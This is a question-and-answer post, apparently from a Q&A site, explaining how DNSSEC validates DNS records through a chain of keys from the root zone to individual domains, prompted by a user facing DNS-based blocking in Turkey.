How does DNSSEC work? How does my OS or browser knows to check for DNSSEC? How does the verification process works? Do I need a key from Comodo/Verisign? Do I need to install something to my hosting? What happens in men in middle attack? I have a man in middle attack case; the Turkish DNS providers show a page for my web site with "this site is blocked". Do all modern browsers support DNSSEC?

Answering this questions all at once is somewhat outside the scope of a question and answer site. I will provide you some insight:

DNSSEC secures the DNS data of a server, meaning that when your browser tries to connect a server, it needs to look up it's IP-address. This IP-address is queried via the DNS servers configured in your OS (Google provides some under 8.8.8.8 and 8.8.4.4). Useally your system will use the DNS resolver your ISP (Internet service provider) provides.

Since a domain owner did not instruct your ISP's DNS resolver directly, it will query an authoritative name server for that domain (NS). How do you know for example that your ISP didn't change the IP-address of the website you're trying to access? That's where DNSSEC kicks in!

Every domain (e.g. .com, .net, .org) is inside the DNS root zone. In the root zone are (public) keys provided by the operators of those subzones (e.g. .com). In case of .com it's VeriSign*. In the DNS .com zone are than keys for each individual domain if it supports DNSSEC.

Let's say you have your domain example.com at Namecheap and enabled DNSSEC. The DNS record is first fetched from Namecheap's NS servers, which singned the record. Your browser can check now if the record is valid according to that key and than go one level up in the chain to see if your key for example.com is found in the zone .com. The zone .com is signed by a key found in the DNS root zone, which is maintained by the ICANN.

Different to classic TLS/SSL you don't need a certification authority (CA) like COMODO, since every record is traced back to the DNS root zone. What you need instead is a domain registrar (Namecheap, GoDaddy) that supports DNSSEC and a domain that supports DNSSEC, since not every domain supports (therefor has keys in the root zone) like for example .com does.

Modern browsers don't have DNSSEC checks enabled by default. Hopefully that changes in the future. However this does not mean that DNSSEC provides no security, since your ISP's dns servers will likely check wherever the records it got are valid and if not not resolve the domain name into an IP-address.

*Confusing example since VeriSign is both a classic CA and operates domain zones.